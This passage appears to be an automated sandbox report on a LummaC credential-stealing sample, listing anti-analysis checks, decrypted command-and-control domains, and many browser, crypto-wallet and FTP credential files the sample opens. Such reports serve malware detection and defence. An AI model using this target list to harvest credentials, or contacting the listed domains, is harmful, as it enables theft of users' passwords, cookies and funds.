Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1737251703.000000000094D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: BProgram Manager
Source: file.exe, 00000000.00000002.1744569075.0000000005C61000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508938926.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1583514440.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1482726377.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance,{D
Source: file.exe, 00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum
Source: file.exe, 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sk\AppData\Roaming\Ledger Live1{Q

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
